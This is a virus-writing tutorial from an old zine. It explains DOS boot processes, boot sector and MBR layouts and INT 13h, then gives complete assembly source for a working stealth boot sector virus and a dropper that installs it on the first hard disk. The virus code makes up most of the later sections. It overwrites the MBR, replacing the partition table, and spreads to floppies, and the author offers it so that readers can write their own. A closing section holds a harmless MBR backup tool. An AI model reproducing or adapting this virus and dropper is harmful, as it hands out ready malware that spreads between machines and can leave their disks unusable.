SLAM4.020: MBR/BS infection by Virtual Daemon/SLAM
MBR/BS infection
by Virtual Daemon/SLAM
1. Introduction
In my search for knowledge, I found many tutorials out there that were created to show the user how to code a simple boot sector virus. Although the tutes were very good in essence, all of them were missing one thing: they weren't created from a beginner's point of view. So, I had to learn all the crap alone by disassembling other viruses. It was hard for me back then to understand those tutorials as it is for some of you now.
Well, this is my attempt to make you understand how a boot sector virus works and how can you code one. After reading this tutorial, you'll see that a boot sector virus is generally easier to code than a COM/EXE infector.
2. Bootup theory
Most of you have computers, but not quite all of you know what really happens inside them. This is normal, because not everyone is a computer engineer. And besides that, maybe not everyone wants to know what happens there. Well, either way, I will try to explain some things about what happens when your computer boots up. The bootup process is defined as the computer's initialization process.
Before we go into the real stuff, you should know that there are two "ways" of (re)booting your computer: cold and warm. The cold boot is activated when you physically switch your computer ON or when you press the Reset button. The warm boot is usually activated when you press Ctrl+Alt+Del. Both of them act almost the same, except the fact that the cold boot is first physically reseting the CPU line and it does some hardware tests and only after that it boots your computer. So, the warm boot is just a "smaller" cold boot, meaning that it does almost the same thing except those hardware things. If you would like a more complete explanation about the hardware bootup process, please send me an e-mail and I'll hook you up with some nice documentations.
When your computer boots up, the CPU sets the CS:IP registers to point to 0FFFFh:0000 (address of ROM post code). The ROM POST (Power On Self Test) code is actually a set of routines that will check the hardware configuration and will initialize the BIOS data area from 0:0400h. After jumping to CS:IP, the CPU will start executing the POST code, thus initializing the DMA and the PIC, and will test your hardware configuration.
After that, the CPU will execute an Int 19h instruction (bootstrap loader).
Before executing int 19h, DL will be automatically set to the physical drive's number where the boot sector is located.
The boot sector is a 512-bytes (size of 1 sector) record located on track 0, head 0, sector 1 on floppy disks and on the first logical sector of any DOS partitions.
The hard disk bootup is a bit different from the floppy one, because a hard drive can have more than one boot sector. So, I will present the bootup processes separately for floppy disks and for hard disks.
A. Diskette (floppy disk) bootup
The BIOS will search for a boot sector on track 0, head 0, sector 1. If there's no disk in drive A, an error message will be displayed OR if there's a hard disk installed on the system, the HDD's master boot record will be loaded (see step B).
If a floppy disk is in drive A, the first sector of the floppy disk (track 0, head 0, sector 1) will be read into memory at address 0:7C00h. Then, this boot sector will be checked if it's a valid one, by comparing the last two bytes (offset 1FEh) of the sector with 55AAh. If the boot sector is valid, the BIOS will pass control to it. If not, an error message will be displayed, and the user will be prompted to insert a bootable floppy disk in drive:
No system disk or disk error
Replace and press any key when ready
B. Hard disk bootup
Unlike floppy disks, a hard drive can have more then one boot sector, because a hard drive can be partitioned. The (1st) partition table is an array of 64 bytes located at offset 1BEh in the Master Boot Record (on track 0, head 0, sector 1).
A hard disk can be divided (theoretically) into 1 to 4 partitions. This is certainly very helpfull for those who want to use other operating systems (besides DOS) on their computers. Each partition contains a boot sector on its first logical sector.
When the computer boots up on a hard drive, the first sector (track 0, head 0, sector 1) on the hard disk will be read into memory at 0:7C00h. This sector should contain a master bootstrap loader and a partition table. After loading the MBR (master boot record) into memory, the master bootstrap loader will examine the partition table. If one of the entries from the partition table indicates an active (bootable) partition, its boot sector will be read into memory and the system initialization will pass control to it.
If none of the partitions is bootable, the computer will go into ROM BASIC or it will display a "DISK ERROR" message. If any of the boot indicators are invalid or if more then one indicator is marked as bootable, the system will display an "INVALID PARTITION TABLE" message and it will hang. If the partition's boot record can't be read within five retries, an "ERROR LOADING OPERATING SYSTEM" message will be displayed and the system will hang. Also, if the partition's boot record doesn't contain a valid signature (55AAh), an "MISSING OPERATING SYSTEM" message will be displayed and the system will also hang.
If none of the above things happens (phewww... ;), then I guess something went wrong and you should keep restarting your system till you get an "CPU internal error" or something... hehehe...=) (JOKEEE! :)
Neah... seriously now... if the partition table looks okay, the first logical sector of the active partition will be read into memory and the control will be given to it.
3. Boot sectors, partition tables, etc...
Since I told you so many things about boot sectors and partition tables it would be really nice (in my humble opinion ;) if I would tell you now how "they" actually look... :)
So, here's the structure of the boot sector:
⁄--------¬------¬-----------------------------------------------------------ø
| Offset | Size | Description |
√--------≈------≈-----------------------------------------------------------¥
| 0h | 3 | Jump to executable code: |
| | | - for DOS 2.x, 3 byte near jump (0E9h) |
| | | - for DOS 3.x, 2 byte near jump (0EBh) + NOP (90h) |
√--------≈------≈-----------------------------------------------------------¥
| 3h | 8 | OEM company name and version (eg. 'MSDOS5.0') |
√--------¡------¡-----------------------------------------------------------¥
| ⁄--Ø Start of BIOS Parameter Block (BPB) and of Extended BPB|
√--------¬------≈-----------------------------------------------------------¥
| 0Bh | 2 | Bytes per sector (SectSize) |
√--------≈------≈-----------------------------------------------------------¥
| 0Dh | 1 | Sectors per allocation unit - cluster (ClustSize) |
√--------≈------≈-----------------------------------------------------------¥
| 0Eh | 2 | Reserved sectors (sectors before 1st FAT) |
√--------≈------≈-----------------------------------------------------------¥
| 10h | 1 | Number of File Allocation Tables (FATs) |
√--------≈------≈-----------------------------------------------------------¥
| 11h | 2 | Maximum number of root directory entries (32 bytes each) |
√--------≈------≈-----------------------------------------------------------¥
| 13h | 2 | Total number of sectors in media.If the logical disk size |
| | |is greater then 32MB, this value is 0 and the actual size |
| | |is reported at offset 26h (DOS 4.0+) |
√--------≈------≈-----------------------------------------------------------¥
| 15h | 1 | Media descriptor byte (same as 1st byte in FAT) |
√--------≈------≈-----------------------------------------------------------¥
| 16h | 2 | Number of sectors in one FAT |
√--------¡------≈-----------------------------------------------------------¥
| ¿----Ø End of BIOS Parameter Block (BPB) |
√--------¬------¬-----------------------------------------------------------¥
| 18h | 2 | Sectors per track (cylinder) |
√--------≈------≈-----------------------------------------------------------¥
| 1Ah | 2 | Number of read/write heads |
√--------≈------≈-----------------------------------------------------------¥
| 1Ch | 2 | Hidden sectors LOword (partitions < 32MB) |
√--------¡------¡-----------------------------------------------------------¥
| Extended DOS v4.0+ Boot Record |
√--------¬------¬-----------------------------------------------------------¥
| 1Eh | 2 | Hidden sectors HIword (partitions > 32MB) |
√--------≈------≈-----------------------------------------------------------¥
| 20h | 4 | Total number of sectors in this disk (partitions > 32MB) |
√--------¡------≈-----------------------------------------------------------¥
| ¿----Ø End of Extended BIOS Parameter Block (EBPB) |
√--------¬------¬-----------------------------------------------------------¥
| 24h | 2 | Physical drive number (0=floppy, 80h=hard disk) |
√--------≈------≈-----------------------------------------------------------¥
| 26h | 1 | Extended boot record signature (29h) |
√--------≈------≈-----------------------------------------------------------¥
| 27h | 4 | Volume serial number |
√--------≈------≈-----------------------------------------------------------¥
| 2Bh | 11 | Volume label |
√--------≈------≈-----------------------------------------------------------¥
| 36h | 8 | File System ID (eg. 'FAT12 ','FAT16 ',...,'reserved') |
√--------≈------≈-----------------------------------------------------------¥
| 3eh | 450 | Boot code & data |
¿--------¡------¡-----------------------------------------------------------Ÿ
Let's see now what is the master boot record's (on short MBR) structure:
⁄--------¬------¬------------------------------ø
| Offset | Size | Description |
√--------≈------≈------------------------------¥
| 0h | 446 | Master bootstrap loader code |
√--------≈------≈------------------------------¥
| 1BEh | 16 | Partition 1 entry |
√--------≈------≈------------------------------¥
| 1CEh | 16 | Partition 2 entry |
√--------≈------≈------------------------------¥
| 1DEh | 16 | Partition 3 entry |
√--------≈------≈------------------------------¥
| 1EEh | 16 | Partition 4 entry |
√--------≈------≈------------------------------¥
| 1FEh | 2 | 55AAh signature |
¿--------¡------¡------------------------------Ÿ
The partition record is an 16-byte array. Here is its structure:
⁄--------¬------¬------------------------------------ø
| Offset | Size | Description |
√--------≈------≈------------------------------------¥
| 0h | 1 | Boot indicator |
√--------≈------≈------------------------------------¥
| 1h | 1 | Beginning head |
√--------≈------≈------------------------------------¥
| 2h | 1 | Beginning sector |
√--------≈------≈------------------------------------¥
| 3h | 1 | Beginning cylinder (track) |
√--------≈------≈------------------------------------¥
| 4h | 1 | Operating system indicator |
√--------≈------≈------------------------------------¥
| 5h | 1 | Ending head |
√--------≈------≈------------------------------------¥
| 6h | 1 | Ending sector |
√--------≈------≈------------------------------------¥
| 7h | 1 | Ending cylinder (track) |
√--------≈------≈------------------------------------¥
| 8h | 4 | Nr. of sectors preceding partition |
√--------≈------≈------------------------------------¥
| 0Ch | 4 | Length of partition in sectors |
¿--------¡------¡------------------------------------Ÿ
The Boot indicator is 0 if the partition isn't bootable and 80h if the partition is bootable. Note: if more than one partition have the boot indicator set to 80h, the system will hang (read the "error list" above).
The Operating System indicator is a 1 byte value which holds the current installed operating system. There's no point in writing the whole list (256 values) here. The most important ones are:
- 0 - unknown operating system
- 1 - DOS 12 bit FAT
- 4 - DOS 16 bit FAT (up to 32 MB)
- 5 - DOS Extended partitions (DOS 3.3+)
- 6 - DOS 3.31+ Large File System (16 bit FAT, over 32 MB)
The other values are assigned to other operating systems like XENIX, OS/2, AIX, Windows95, Novell, CP/M, Linux + many, many others...
4. Boot sector viruses
A boot sector virus is a virus that infects the boot sector of floppy disks and in most cases the master boot record of hard disks. It usually spreads via floppy disks. An uninfected computer can get infected by booting from an infected floppy disk. There IS NO OTHER WAY a simple boot virus can infect a computer (except of course by using a dropper program).
Besides the basic boot sector virus that only infects the MBR/BS of disks, there are also viruses which besides infecting MBR/BS are also able to infect regular COM/EXE programs.
These kind of viruses are called "multipartite". They are very dangerous, because unlike a simple boot virus, they can also spread on uninfected computers by executing an infected EXE/COM program. I shall not discuss multipartite viruses just for the simple fact that if you are able to code both a COM/EXE infector and a MBR/BS one, you can easily do them both in one piece. There's no big deal in coding one. You'll see that i'm right... in time... :)
The infection technique of boot sector viruses, as in any other viruses, can look quite different from one virus to another. It all depends on the programmer's originality and knowledge.
So, basically, an uninfected computer can become infected only by booting from an already infected floppy disk. There are 3 major steps in the process of infecting the hard disk's Master Boot Record:
- user boots from an infected floppy disk and the virus gets executed
- the virus will save the original MBR of hard disk and will replace the MBR with a copy of the virus
- the virus will execute the original MBR and the system will continue to initialize, BUT the virus will be active in memory
After that, the computer's hard disk will be infected with the virus. Then, every floppy disk accessed SHOULD become infected.
5. Let's code
As I told you before, the BIOS data area (0:400h) is being initialized when the system boots up. This could be very important for our virus, because you can find the total amount of conventional memory available on your computer at 0:413h. In most of the cases, this value is equal to 655.360 (640Kb*1024). Note that Int 12h returns the same value in AX.
One of the most important things you need to know is that you CAN NOT use DOS interrupts AT ALL while coding a boot sector virus. Why? Simple... because the DOS kernel (IO/MSDOS.SYS) isn't loaded yet.So, you wont be able to call int 21h or other DOS interrupts in your virus. You can only use the basic BIOS interrupts from 0h to 1fh. There are also some other BIOS interrupts you can use too, but they aren't too important right now. Note that the stack used by boot sectors is equal 0:07C00h, so SS:SP should be set to it on entry.
Since we can't use DOS interrupts in our virus, we must find a way to write our virus to disk somehow. So, instead of the now popular 40h/int 21h function we will use the Int 13h (Disk Intput/Output) interrupt.
Before I go any further, I shall present a bit the INT 13h subfunctions, because you can't code a boot sector virus without knowing some things about INT 13h. The most important INT 13h subfunctions are:
AH Subfunction
-- -----------
00h Reset/recalibrate controller
01h Get status of last operation
02h Read sectors
03h Write sectors
04h Verify sectors
05h Format track
08h Get drive parameters
09h Initialize drive parameters tables
0Ah Read long sectors
0Bh Write long sectors
0Ch Seek cylinder
0Dh Alternate disk reset
0Eh Read sector buffer
0Fh Write sector buffer
10h Check if a drive is ready
11h Recalibrate drive
12h Controller RAM diagnostics
13h Drive diagnostics
14h Controller internal diagnostics
15h Read disk type
16h Read change-of-disk status
17h Set diskette type
In our virus, we're only going to use subfunction 02h (read sectors) and subfunction 03h (write sectors).
-Ø Subfnct 02h - Read sectors
Input: AH=02h
AL=number of sectors to read
CH=track (cylinder) number (0-n) - low eight bits
CL=sector number (1-n)
DH=head number
DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
ES:BX -> buffer to store the read data
Output:
CF set on error, and error code is passed in AH
CF clear if successful
AL=number of sectors read
-Ø Subfnct 03h - Write sectors
Input: AH=03h
AL=number of sectors to write
CH=track (cylinder) number (0-n) - low eight bits
CL=sector number (1-n)
DH=head number
DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
ES:BX -> buffer to write to disk
Output:
CF set on error, and error code is passed in AH
CF clear if successful
AL=number of sectors written
A boot sector virus can be divided into 3 parts: the part that actually installs the virus in memory and grabs the Int 13h, the INT 13h handler and the infection and/or stealth part.
A. Virus installation
This can be done in several ways, one better than another. Many virus writers prefer to infect the boot sector when they are installing the virus in memory. Others just install the virus and choose to infect the boot sector when INT 13h is called. I will present the second case, since it's much easier to understand. Then, when you'll grow up you can do it as you wish! :)
The steps in installing the virus in memory are:
- Allocate memory for your virus, and then copy the virus there
- Modify the INT 13h interrupt vector with your own handler
- Return control to the original boot sector
Okay... now let's take each step separately...
1) Allocate memory for your virus, and then copy the virus there
Since we're talking about boot stuff here, I must tell you again that you can not use any DOS stuff. And that includes MCBs (Memory Control Block) too. There's no such thing as MCB or PSP or anything else there. That means that you can't allocate memory as a normal file infector does.
Well, the only way to allocate memory for your virus, is to decrease the TOM (Top Of Memory). You can find the total size of memory at 0:413h (BIOS data area). Usually, this value is equal to 640 Kb. So, all you have to do is to subtract the amount of memory you need from there.
But before you allocate anything, it would be very wise to set the stack (SS:SP) to 0:7C00h, because the stack used by boot sectors is always equal to that value.
So, you have stolen 1 Kb of memory from TOM. All you have to do now is to find the segment of the address where you're gonna copy your virus. This can be done very easily. You must get first the new size of memory which should be 639 Kb if you subtracted 1 KB, and then you must convert the value in paragraphs. A paragraph is a 16-byte block of memory (2^4). The memory size is stored in KBytes, and 1 KByte=1024 Bytes (2^10). So all you have to do in order to get the segment is to shift the new value with 6 (or to divide it with 2^6). Then, put the result in ES, set DS:SI to the beginning of your virus and then do a rep movsX (Byte, Word, Dword). The virus will be copied in memory.
Here's some code for what I just said:
;set the stack to 0:7C00h
install_virus: ;simple label
xor ax,ax ;clear AX
cli ;disable interrupts
mov ss,ax ;SS=0
mov sp,7C00h ;SP=7C00h
sti ;enable interrupts
;decrease the TOM with 1Kb
mov ds,ax ;DS=0
dec word ptr ds:[413h] ;subtract 1 Kb of memory
mov ax,word ptr ds:[413h] ;get the new value (should be=639 Kb)
;note that you can also use INT 12h for that
;find a new segment for your virus and then copy your virus there
mov cl,6
shl ax,cl ;convert from kilobytes to paragraphs
mov es,ax ;ES is now equal to the new segment
mov si,7C00h ;DS:SI=0:7C00h (beginning of virus)
xor di,di ;ES:DI=ES:0
mov cx,256 ;how many bytes to copy
cld
rep movsw ;copy CX*2 bytes from DS:SI to ES:DI
Since your virus is copied in memory, you can now easily jump there, coz there's nothing really you can still do here. Example:
push es ;save the new segment on stack
lea ax,[inmemory]
push ax ;save the offset where to jump
retf ;jump to our virus in memory
inmemory:
; .... modify the INT 13h interrupt vector... etc
2) Modify the INT 13h interrupt vector with your own handler
Now your virus should be in memory. To activate it, you must set the INT 13h vector to point to your handler. This way, everytime INT 13h gets called, you'll be the first to know... ;)
An example of how can you modify the vector is:
;ES must hold the new segment and DS must be equal to 0
mov ax, word ptr ds:[13h*4] ;get the original int 13h entrypoint
mov word ptr cs:[old_13h], ax ;and save it into our variable
mov ax, word ptr ds:[13h*4+2]
mov word ptr cs:[old_13h+2], ax
mov word ptr ds:[13h*4+2],es ;set the segment
lea ax,myint13h ;set the new interrupt handler to
mov word ptr ds:[13h*4], ax ;point to "myint13h"
3) Return control to the original boot sector
Since we're going to stealth our virus, the easier way to execute the original boot sector is to perform an Int 19h.
The 19h interrupt will read the first sector of drive (specified in DL) in memory into address 0:7C00h and then it will transfer the control there. For reading the first sector located on track 0, head 0 into memory, Int 19h makes use of Int 13h's read subfunction (AH=2). Since our virus has already modified the Int 13h offset to point to our interrupt handler, it will intercept this read call aswell.
Our virus will first verify if the sector has already been infected. If it hasn't, the virus will first read the uninfected boot sector in memory (thus not screwing things up) and then it will infect the boot sector.
If the sector is infected with our virus, then our stealth routine will redirect the read call to the original MBR/BS which in turn will be loaded into 0:7C00h and then executed there. This way, everything will go according to our plans.
Note that the Int 19h DOESN'T clear the memory! It just reboots the computer...
B. The INT 13h handler
This is one of the most important parts of your virus. You have to do some subfunction checking here in order to know exactly when to infect and when to stealth your virus. An example should look like this:
myint13h:
cmp dh,0 ;check if head 0
jne exit_handler
cmp cx,1 ;check if sector 1 and track 0
jne exit_handler
cmp ah,2 ;read from sector 1 ?
jne exit_handler
call int13 ;fake the call
jnc read_call ;if no error, jump to our code
exit_handler:
db 0eah ;else jump to the original Int 13h
old_13h dd ?
After checking for the read call (to 0,0,1), the virus will fake a int 13h call. This way, the buffer from ES:BX will be filled up with the sector that was read. If the read was successful, then we jump to our infection/stealth procedure... if not, we jump back to the original vector.
Here is a piece of code that will fake an int 13h call:
int13:
pushf ;push flags on stack
call dword ptr cs:[old_13h] ;call the original entrypoint of int 13h
ret ;return to the caller
C. Infection/Stealth procedures
Here is the part that actually MULTIPLIES/HIDES your virus.
Before explaining the true infection routine, I must take a break to tell you some <other> things about boot sectors. There are several free spaces on your hard drive where you can store the original boot sector. There are some free sectors at head 0, track 0, from sector 2 upwards. You could also store the original boot sector at the end of your HDD, because there are very small chances that you'll fill up the WHOLE hdd. Another smart thing to do would be to choose a sector on the drive, copy the original stuff there, and then mark the sector as bad from FAT.
SO, how will we infect? Well... again... there are more than one way to do it. As usual, I'll choose the easier one: we'll replace the boot sector with our virus and we'll save the original boot sector somewhere else on disk. Then, when someone asks for it, we'll intercept the read function and we'll stealth our virus by showing the user the original sector.
Since we'll replace the whole MBR, it's obvious that the partition table from 1BEh will be overwritten by our virus and the hard disk won't be accessible when booted from a clean diskette. The HDD will only work when the virus is resident in memory. Almost the same thing goes for floppy disks. The difference is that we have to make the floppy disks work on uninfected systems too, coz if they don't, the virus won't spread anymore. The important stuff from a boot sector are those 3Ch bytes, from offset 2 to 3Eh. So, we must save them in our virus (of course, at the same offsets). Basically, an infected boot sector should look like this:
⁄--------¬------¬-------------------------ø
| Offset | Size | Description |
√--------≈------≈-------------------------¥
| 0 | 2 | Jmp short to viral code |
| 2 | 3Ch | Boot (saved) stuff |
| 3Eh | 450 | Viral code |
¿--------¡------¡-------------------------Ÿ
If you look again at the Int 13h interrupt handler, you will see that I choose to "do something" only when a read call to head 0, track 0, sector 1 has been made. This is very effective and easy to understand, BUT later when you will create your own boot virus, I suggest you to "intercept" and work with other int 13h functions aswell (write, verify...).
The fake call from the int 13h handler will fill the buffer from ES:BX with the first sector of the drive. Now here begins the real thing...
First we save the ES:BX (and other registers too) because they are all going to be modified later. We will of course, restore them right before we exit from our infection/stealth procedure.
pushf ;save everything on stack
pusha
push ds es
Then we must check if the read sector is already infected with our virus. If the sector is already infected, there's no need for us to infect again. We will just stealth the sector by reading the original MBR/BS in memory.If the sector isn't infected we'll infect it.
For checking if the sector has already been infected, we can simply use a string identifier in our virus. Example:
vmark db 'VDaemon'
....
cmp word ptr es:[bx+offset vmark],'DV' ;check to see if infected
je stealth ;already infected => stealth
jmp infect ;not infected => infect it
Now let's go back to what I said earlier about saving those 3Ch bytes in our virus. This can be done very easy by reading the original boot sector to a free zone and then by copying the important bytes from it to our virus.
First we set up the DS and ES registers to point to the Code Segment
push cs cs
pop ds es ;DS=ES=CS
Our virus begins at CS:0 and ends at CS:512, so the original MBR/BS will be read right after our virus in memory. This way, the MBR/BS will start at CS:512 and it will end at CS:1024.
Note that CL=1,CH=0,DH=0
mov bx,512 ;put it in CS:512
mov ax,201h ;read one sector
call int13 ;do it
now we copy those 3Ch bytes from CS:514 (offset 2 of the original BS) to CS:2 (offset 2 of our virus)
mov cx,3ch ;copy 3ch bytes
mov si,514 ;from CS:514
mov di,2 ;to CS:2
cld ;clear direction flag
rep movsb ;move from DS:SI to ES:DI
Since we will copy the bytes to offset 2 in our virus, it's quite obvious that we MUST have a free zone there. In other words, our virus must look like this:
begin: ;here begins our virus
jmp short install_virus ;jump to the real viral body (2 bytes)
db 3ch dup (0) ;buffer used for saving the floppy stuph
install_virus:
...
Now our buffer is filled up and we can continue our infection process. Since ES:BX still points to the original MBR/BS (read in CS:512), we can now write the original sector to disk. But in order to do that, we must first find a free place to store it.
Again, this can be done in many ways (see above), but because I want to keep things as easier as possible to understand, I'll just use sector 2 for storing the hard disk's MBR (head 0, track 0, sector 2) and sector 14 (head 0, track 1, sector 14) for floppy disk's BS. Since the two sectors are located in different places, we must check out on what kind of disk are we working. In other words, we must check on what disk is the read call being made. Here's the code:
mov cx,2 ;original MBR in sector 2
cmp dl,79h ;check if hard drive
ja hard_disk ;DL>79h => hard disk, else floppy disk
mov dh,1 ;original BS in head 1
mov cx,14 ;... sector 14
hard_disk:
...
Now that we have the original MBR/BS at CS:512 and the sector to write to in CX, we can write it to disk.
CX, DX and ES:BX must contain the sector (track, head) and the address of the buffer where we read the original MBR/BS in memory
mov ax,301h ;write the original MBR/BS
call int13 ;write it to disk
Everything has been done and the BIG moment has arrived. All that's left to be done is to write our virus to 0,0,1 (head 0, track 0, sector 1) over the old MBR/BS.
xor bx,bx ;from CS:0
xor dh,dh ;to head 0
mov cx,1 ;track 0, sector 1
mov ax,301h ;write our virus
call int13
Now we will restore the previous saved registers and we will exit our procedure with a retf 2 instruction. Why 'retf 2'? Easy... Because we have to make a double pop from stack. Here's the explanation:
First, look at our int13h procedure:
int13:
pushf ;push flags on stack
call dword ptr cs:[old_13h] ;call the original entrypoint of int 13h
ret ;return to the caller
As you can see, we first save the flags on stack. That's the FIRST push we make. The SECOND one is made by the call function itself. Normally, everything goes as usual in a call - ret cicle. Here we don't have that ret, because the exit from the interrupt handler is made via an IRET instruction. This way, we are stucked just with the call.
pop es ds ;pop everything from the stack
popa
popf
retf 2 ;free the stack
This is how the infection procedure must look like. Now let's talk about the stealth part...
The stealth part is much easier to understand, because all that we have to do is to read the original sector in memory (thus overwriting the ES:BX).
First we must check on what sector the original MBR/BS is stored...
mov cx,2 ;original MBR in sector 2
cmp dl,79h ;check if hard drive
ja hard_disk ;DL>79h => hard disk, else floppy disk
mov dh,1 ;original BS in head 1
mov cx,14 ;... sector 14
hard_disk:
As you can see, this looks exactly the same as the one from the infection part.
Now all that's left to be done is to read the sector in memory using int 13h's read subfunction.
mov ax,201h ;read the original MBR/BS in memory
call int13
Well, this is IT! :) Wasn't that hard to understand, was it?
Now let's put it all together....
; ----------- cut here -----------
; Boot sector virus example
; coded by Virtual Daemon/SLAM for the MBR/BS infection tutorial
;
; Compile it with: tasm /m example.asm | tlink /x example.obj
; exe2bin example.exe
; and then use the dropper program located at the end of the virus
;
.286
.model tiny
.code
org 0
begin: ;here begins our virus
jmp short install_virus ;jump to the real viral body (2 bytes)
db 3ch dup (0) ;buffer used for saving the floppy stuph
install_virus:
xor ax,ax ;clear AX
cli ;disable interrupts
mov ss,ax ;SS=0
mov sp,7C00h ;SP=7C00h
sti ;enable interrupts
;decrease the TOM with 1Kb
mov ds,ax ;DS=0
dec word ptr ds:[413h] ;subtract 1 Kb of memory
mov ax,word ptr ds:[413h] ;get the new value (should be=639 Kb)
;note that you can also use INT 12h for that
;find a new segment for your virus and then copy your virus there
mov cl,6
shl ax,cl ;convert from kilobytes to paragraphs
mov es,ax ;ES is now equal to the new segment
mov si,7C00h ;DS:SI=0:7C00h (beginning of virus)
xor di,di ;ES:DI=ES:0
mov cx,256 ;how many bytes to copy
cld
rep movsw ;copy CX*2 bytes from DS:SI to ES:DI
push es ;save the new segment on stack
lea ax,[inmemory]
push ax ;save the offset where to jump
retf ;jump to our virus in memory
inmemory:
mov ax, word ptr ds:[13h*4] ;get the original int 13h entrypoint
mov word ptr cs:[old_13h], ax ;and save it into our variable
mov ax, word ptr ds:[13h*4+2]
mov word ptr cs:[old_13h+2], ax
mov word ptr ds:[13h*4+2],es ;set the segment
lea ax,myint13h ;set the new interrupt handler to
mov word ptr ds:[13h*4], ax ;point to "myint13h"
int 19h ;reboot with the virus in memory
myint13h:
cmp dh,0 ;check if head 0
jne exit_handler
cmp cx,1 ;check if sector 1 and track 0
jne exit_handler
cmp ah,2 ;read from sector 1 ?
jne exit_handler
call int13 ;fake the call
jnc read_call ;if no error, jump to our code
exit_handler:
db 0eah ;else jump to the original Int 13h
old_13h dd ?
read_call:
pushf ;save everything on stack
pusha
push ds es
cmp word ptr es:[bx+offset vmark],'DV' ;check to see if infected
je stealth ;already infected => stealth
;not infected => infect it
push cs cs
pop ds es ;DS=ES=CS
mov bx,512 ;put it in CS:512
mov ax,201h ;read one sector
call int13 ;do it
mov cx,3ch ;copy 3ch bytes
mov si,514 ;from CS:514
mov di,2 ;to CS:2
cld ;clear direction flag
rep movsb ;move from DS:SI to ES:DI
call choose_sector
mov ax,301h ;write the original MBR/BS
call int13 ;write it to disk
xor bx,bx ;from CS:0
xor dh,dh ;to head 0
mov cx,1 ;track 0, sector 1
mov ax,301h ;write our virus
call int13
jmp short exit
stealth:
mov ax,201h ;read the original MBR/BS in memory
call choose_sector
call int13
exit:
pop es ds ;pop everything from the stack
popa
popf
retf 2
choose_sector:
mov cx,2 ;original MBR in sector 2
cmp dl,79h ;check if hard drive
ja hard_disk ;DL>79h => hard disk, else floppy disk
mov dh,1 ;original BS in head 1
mov cx,14 ;... sector 14
hard_disk:
ret
int13:
pushf ;push flags on stack
call dword ptr cs:[old_13h] ;call the original entrypoint of int 13h
ret ;return to the caller
vmark db 'VDaemon' ;virus signature
org 1feh ;1feh=510=(512-word)
db 055h,0aah ;boot signature
end begin
; ----------- cut here -----------
And here goes a little dropper for the virus...
; ----------- cut here -----------
; tasm dropper.asm | tlink /x /t dropper.obj
;
.model tiny
.code
org 100h
start:
;read the original MBR in memory
mov ax,201h
mov dx,80h
mov cx,1
push cs
pop es
lea bx,after_end
int 13h
;write the original MBR to disk (0,0,2)
mov dx,80h
mov cx,2
mov ax,301h
lea bx,after_end
int 13h
;read the virus from file
mov ax,3d00h
lea dx,virus_sample
int 21h
xchg bx,ax
mov ah,3fh
lea dx,after_end
mov cx,512
int 21h
mov ah,3eh
int 21h
;write the virus to disk (0,0,1)
mov dx,80h
mov ax,301h
lea bx,after_end
mov cx,1
int 13h
;exit to operating system
mov ax,4c00h
int 21h
virus_sample db 'example.bin',0
after_end:
end start
; ----------- cut here -----------
6. Saving/restoring the MBR
Okay now... There are some other important things we need to talk about. Some of you will still be scared after reading this tutorial: "Wha? No way man... I'm not gonna try to make no fuckin' BS virus. Stupid Virtual Daemon... what if I wont be able to recover my disk afterwards? What's going to happen if I'll erase my MBR by mistake?"
Well, you must feel lucky because I haven't forgotten to mention some things about it on this crappy tutorial. So, in order to help you with your problems I "created" a lame program who will save/restore the MBR/BS of your hard disk. So, whoooa...:) This is like a backup for your boot sector/partition table =)
The program needs a parameter: either '0' for saving the MBR/BS of the first hard disk into a file (BOOTPART.CAP), either '1' for restoring the old copy of the MBR/BS (from BOOTPART.CAP).
Use tasm/tlink to compile it.
--< cut here >--
.286
.model tiny
.code
org 100h
start:
mov ah,62h ;get the current PSP address
int 21h
mov es,bx ;ES=seg of PSP for current process
mov al,byte ptr es:82h ;point to the DOS command line
cmp al,'0' ;if 1st param='0' then save everything
je read_save_all
cmp al,'1' ;else, restore everything
je write_restore_all
push cs ;if no param entered, display err msg
pop ds
mov ah,9
lea dx,params
int 21h
exit:
mov ax,4c00h ;and exit...
int 21h
read_save_all:
push cs cs
pop ds es ;es=ds=cs
mov ah,3ch ;create a new file
xor cx,cx ;normal file even
lea dx,filename ;'bootpart.cap' is its name :)
int 21h
jnc r_continue
r_error:
mov ah,9 ;error creating 'bootpart.cap'
lea dx,createrr
int 21h
jmp exit
r_continue:
xchg bx,ax ;handle in BX
mov dh,0 ;read the Master Boot Record of 1st HDD
call readsector
mov ah,40h ;write it to our file
lea dx,buffer
mov cx,512
int 21h
jc r_error ;if error, exit
mov dh,1 ;read the Boot Sector of 1st HDD
call readsector
mov ah,40h ;write it to our file
lea dx,buffer
mov cx,512
int 21h
jc r_error ;if error, exit
mov ah,3eh ;close the file
int 21h
jmp exit
write_restore_all:
push cs cs
pop ds es ;es=ds=cs
mov ax,3d00h ;open
lea dx,filename ;'bootpart.cap'
int 21h ;NOW! :)
jnc w_continue
w_error:
mov ah,9
lea dx,readerr ;error reading BOOTPART.CAP file
int 21h
jmp exit
w_continue:
xchg bx,ax ;handle in BX
mov ah,3fh ;read the MBR from file in memory
lea dx,buffer
mov cx,512
int 21h
jc w_error
mov dh,0 ;write the MBR
call writesector
mov ah,3fh ;read the BS from file in memory
lea dx,buffer
mov cx,512
int 21h
jc w_error
mov dh,1 ;write the BS
call writesector
mov ah,3eh ;close the file
int 21h
jmp exit
readsector:
;input: head number in DH
;output: buffer filled up with the read sector
pusha ;save all registers
mov ah,2 ;subfunction 02h=read sectors
mov dl,80h ;80h=first hard disk
xor ch,ch ;track (cylinder) number
mov cl,1 ;sector number
mov al,1 ;sector count
lea bx,buffer ;address of our buffer
int 13h
popa ;restore all registers
ret
writesector:
;input: head number in DH
; buffer filled up with the sector you want to write
;output: nothing
pusha ;save all registers
mov ah,3 ;subfunction 03h=write sectors
mov dl,80h ;80h=first hard disk
xor ch,ch ;track (cylinder) number
mov cl,1 ;sector number
mov al,1 ;sector count
lea bx,buffer ;address of our buffer
int 13h
popa ;restore all registers
ret
createrr db 13,10,'Error creating BOOTPART.CAP!',13,10,'$'
readerr db 13,10,'Error reading BOOTPART.CAP!',13,10,'$'
params db 13,10,'MBR/BS backup, coded by Virtual Daemon [SLAM]',13,10
db 'Use: <0> to save the MBR/BS of the 1st HDD to a file (bootpart.cap)',13,10
db ' <1> to restore the previously saved MBR/BS from a file',13,10,'$'
filename db 'bootpart.cap',0
buffer db 512 dup (?)
end start
--< cut here >--
